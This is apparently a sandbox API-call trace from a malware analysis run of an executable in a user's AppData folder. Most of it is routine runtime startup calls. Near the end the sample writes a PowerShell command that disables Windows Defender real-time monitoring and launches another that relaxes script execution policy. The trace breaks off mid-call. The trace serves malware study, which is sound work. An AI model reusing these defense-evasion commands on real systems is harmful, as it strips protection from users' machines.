GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0059.434] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.434] GetLastError () returned 0x57 [0059.434] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0059.434] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0059.435] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.435] GetLastError () returned 0x57 [0059.435] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.435] GetLastError () returned 0x57 [0059.435] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0059.435] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0059.435] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.435] GetLastError () returned 0x57 [0059.435] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0059.435] GetLastError () returned 0x57 [0059.435] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0059.435] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0059.436] SetLastError (dwErrCode=0x57) [0059.442] GetStartupInfoW (in: lpStartupInfo=0x57f6e8 | out: lpStartupInfo=0x57f6e8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3a33b0, hStdOutput=0x5df35b2a, hStdError=0xfffffffe)) [0059.442] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0059.442] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0059.442] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0059.442] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" --Admin" [0059.442] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" --Admin" [0059.442] GetACP () returned 0x4e4 [0059.442] IsValidCodePage (CodePage=0x4e4) returned 1 [0059.442] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x57f708 | out: lpCPInfo=0x57f708) returned 1 [0059.442] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x57efd0 | out: lpCPInfo=0x57efd0) returned 1 [0059.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x57f5e4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x57f5e4, cbMultiByte=256, lpWideCharStr=0x57ed68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.442] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x57efe4 | out: lpCharType=0x57efe4) returned 1 [0059.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x57f5e4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x57f5e4, cbMultiByte=256, lpWideCharStr=0x57ed18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0059.442] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.442] GetLastError () returned 0x57 [0059.443] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0059.443] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.443] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x57eb08, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x57f4e4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x0a\xfd\x9f\x5d\x20\xf7\x57", lpUsedDefaultChar=0x0) returned 256 [0059.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x57f5e4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x57f5e4, cbMultiByte=256, lpWideCharStr=0x57ed38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.443] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.443] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x57eb28, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0059.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x57f3e4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x0a\xfd\x9f\x5d\x20\xf7\x57", lpUsedDefaultChar=0x0) returned 256 [0059.443] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3b6cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe")) returned 0x56 [0059.443] RtlInitializeSListHead (in: ListHead=0x3b6bd8 | out: ListHead=0x3b6bd8) [0059.443] GetLastError () returned 0x0 [0059.443] SetLastError (dwErrCode=0x0) [0059.443] GetEnvironmentStringsW () returned 0x6d6320* [0059.444] FreeEnvironmentStringsW (penv=0x6d6320) returned 1 [0059.444] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.445] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x3a2ae4) returned 0x0 [0059.445] GetStartupInfoW (in: lpStartupInfo=0x57f750 | out: lpStartupInfo=0x57f750*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0059.445] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" --Admin" [0059.445] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" --Admin", pNumArgs=0x57e758 | out: pNumArgs=0x57e758) returned 0x6d7408*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" [0059.448] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x57dac4 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0059.456] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0059.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0059.457] lstrcpyA (in: lpString1=0x57e2c4, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0059.457] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0059.457] WriteFile (in: hFile=0xa0, lpBuffer=0x57e2c4*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x57dac0, lpOverlapped=0x0 | out: lpBuffer=0x57e2c4*, lpNumberOfBytesWritten=0x57dac0*=0x31, lpOverlapped=0x0) returned 1 [0059.458] CloseHandle (hObject=0xa0) returned 1 [0059.459] SetLastError (dwErrCode=0x0) [0059.459] lstrcpyW (in: lpString1=0x57d6b8, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0059.459] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x57d670*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, 